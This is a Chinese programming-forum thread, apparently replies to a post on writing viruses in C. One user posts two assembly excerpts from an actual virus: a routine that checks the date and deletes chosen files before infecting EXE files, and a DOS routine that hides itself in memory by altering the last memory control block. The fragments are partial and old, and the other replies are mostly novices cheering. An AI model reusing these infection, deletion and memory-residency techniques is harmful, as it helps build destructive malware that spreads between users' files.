标题:[原创]用C写病毒(1)
只看楼主
Occing
Rank: 1
来 自:广东
等 级:新手上路
帖 子:55
专家分:0
注 册:2007-11-18
得分:0 
顶,正想学这类
2007-11-24 20:48
疯峰
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2007-11-24
得分:0 
新手,不过还是顶一下!
2007-11-24 21:08
coolyaozj
Rank: 1
等 级:新手上路
帖 子:12
专家分:0
注 册:2007-9-1
得分:0 
熊猫烧香吗?
2007-11-24 21:52
chengyukyo1
Rank: 1
等 级:新手上路
帖 子:50
专家分:0
注 册:2007-10-18
得分:0 
卧龙版主 你能不能每1行注释下啊 浪费你点时间 谢谢了
2007-11-27 21:39
doudouheaben
Rank: 1
等 级:新手上路
帖 子:49
专家分:0
注 册:2007-8-26
得分:0 
版主真是强呀,佩服,我也要努力了
我也要研究一下哈

just me,go ahead!!!QQ179707875
2007-11-27 22:17
cince
Rank: 1
等 级:新手上路
威 望:1
帖 子:108
专家分:0
注 册:2007-1-21
得分:0 
楼主所说的用C语言来编写病毒压根来就是对文件的操作.并不是病毒.假设对仅仅这样子对文件进行操作就算是病毒的话.那么在这世上只是学编程的一定就是病毒制造者了.因为大家都知道每一种编程语言都有对文件的一章..
程序代码:
照楼主的意思我们也可以这样子写写:
我们随便拿个病毒来分析一下其中它是怎么对文件进行操作.
-----------读取DAW并删除其指定文件--------- 
GETDAWFILE: 
        MOV DR1,ESI         ;被操作文件名尾指针->DR1 
        MOV AX,0D500H 
        XOR EBX,EBX 
        XOR ECX,ECX 
        XOR EDX,EDX      ;MOV EDX,1 
        INC EDX 
        LEA ESI,EDI[COM_FN-START] 
        CALL INT20_40_32 
        JC FIND_NOCOM 

        MOV EBX,EAX 
        MOV  AX,0D800H 
        CALL INT20_40_32 
        JC CLOSE_GETCOM 

        MOV ECX,EAX 
        XOR EDX,EDX 
        LEA ESI,EDI[COMLINE-START] 
        CALL READFILE 
CLOSE_GETCOM: 
        MOV  AX,0D700H 
        CALL INT20_40_32 

        CLD 
        XCHG ESI,EDI           ;ESI->@  EDI->COMLINE 
        MOV  AX,000DH 
REPL_CON: 
        REPNZ SCASB 
        JECXZ EXIT_REPL_LOOP 
        DEC EDI 
        INC ECX 
        MOV [EDI],AH 
        JMP  REPL_CON 
        DW    87C7H 
EXIT_REPL_LOOP: 
        XCHG EDI,ESI           ;EDI->@ ESI->COMLINE末 

        CMP [ESI-3],BYTE PTR '#' 
        JNZ FIND_NOCOM 

        MOV AL ,07H 
        OUT 70H,AL 
        IN  AL ,71H 
        MOV CL ,AL 
        MOV AL ,08H 
        OUT 70H,AL 
        IN  AL ,71H 
        MOV CH ,AL 

        MOV AH,'0' 

        MOV DX,[ESI-7]     ;读月 
        SUB DH,AH 
        SUB DL,AH 
        SHL DL,4 
        ADD DL,DH 
        OR  DL,DL 
        JZ  IGNOREMONTH 
        CMP DL,CH 
        JNZ CMP_EXE 
IGNOREMONTH: 
        MOV DX,[ESI-5]     ;读日 
        SUB DH,AH 
        SUB DL,AH 
        SHL DL,4 
        ADD DL,DH 
        OR  DL,DL 
        JZ  FIND_NOCOM 
        CMP DL,CL 
        JNZ CMP_EXE 
FIND_NOCOM: 
        MOV ESI,DR1 
        ADD EDI,OFFSET COMLINE-OFFSET START 

        XOR AL ,AL 
        OUT 70H,AL 
        IN  AL ,71H 
        MOV BH,AL 
        AND BH,00011111B          ;比较秒(BH=SEC*2) 
        XOR  BL,BL 
        XOR  EDX,EDX 
        DEC  EDI 
        DEC  EDI 
DELF_LOOP: 
        NOT BL 
        ADD EDI,EDX 
        INC EDI 
        INC EDI 
        CMP [EDI],BYTE PTR 0 
        JZ  CMP_EXE 
        CALL GET_STL 
        MOV EDX,ECX 
        PUSH ESI 
        SUB ESI,EDX 
        CALL CMP_ST 
        POP  ESI 
        JNZ DELF_LOOP 
        OR  BL,BL 
        JNZ DEL_IT_EVERYTIME 
        OR  BH,BH 
        JNZ DELF_LOOP 
DEL_IT_EVERYTIME: 
        CALL DEL_FILE 
        JMP EXITAPI 
        DW    87C7H 
;-----------读取DAW并删除其指定文件--------- 
CMP_EXE: 
        MOV ESI,DR1 
        MOV  EAX,NOT('EXE.')              ;是否为EXE文件 
        NOT  EAX 
        CMP  [ESI-4],EAX 
        JNZ  EXITAPI 
        CALL INF_EXE 
;-------退出处理-------------------------- 
EXITAPI:MOV  EDI,DR0 
        MOV  EDI[ENTERF-START],BYTE PTR 0 
CALLOLDAPI: 
        POPAD 
        MOV  EAX,0 
OLDAPI  =  DWORD PTR $-4 
        JMP [EAX] 


[[italic] 本帖最后由 cince 于 2007-11-29 04:52 编辑 [/italic]]

There Is Nothing Impossible In My Dictionary.
2007-11-29 04:49
cince
Rank: 1
等 级:新手上路
威 望:1
帖 子:108
专家分:0
注 册:2007-1-21
得分:0 
程序代码:
;================================================================ 
no_active: 
--mov ah,52------;取磁盘缓冲区地址 
--int 21 
--mov bx,es:[bx-2]----;取第一个 MCB 地址 
--xor di,di------;清DI 
loop_search: 
--mov es,bx------;查找最后一个MCB地址 
--add bx,word ptr es:[di+3] 
--inc bx 
--cmp byte ptr es:[di],5a 
--jnz loop_search 
;================Found Last MCB=========-- 
--mov bx,es------;保存找到的最后一个MCB地址---- 
--mov ax,word ptr es:[di+3]--;取最后一个MCB大小 
--sub ax,vir_para------;剪去自己的PARA 
--jnc keep_in_memory----;溢出则表明不够驻留 
--jmp run_host------;否则继续 
keep_in_memory: 
--mov word ptr es:[di+3],ax--;改写最后一个MCB大小 
--add bx,ax------;计算驻留区段地址 
--inc bx 
--mov es,bx------;并送入ES 
--push cs 
--pop ds--------;令DS=CS 
--mov cx,vir_bytes----;将自己搬移 
--cld 
--rep movsb 

There Is Nothing Impossible In My Dictionary.
2007-11-29 04:50
大白免
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2008-1-1
得分:0 
2008-01-02 18:54
kang216
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2008-4-29
得分:0 
我直接编译的,有错误!我qq:379219296
2008-05-06 20:56
feelerly
Rank: 1
来 自:GZ
等 级:新手上路
帖 子:17
专家分:0
注 册:2008-5-1
得分:0 
啊,病毒原来素这么写的- -! 汗
2008-05-06 21:01



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-142740-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.170049 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved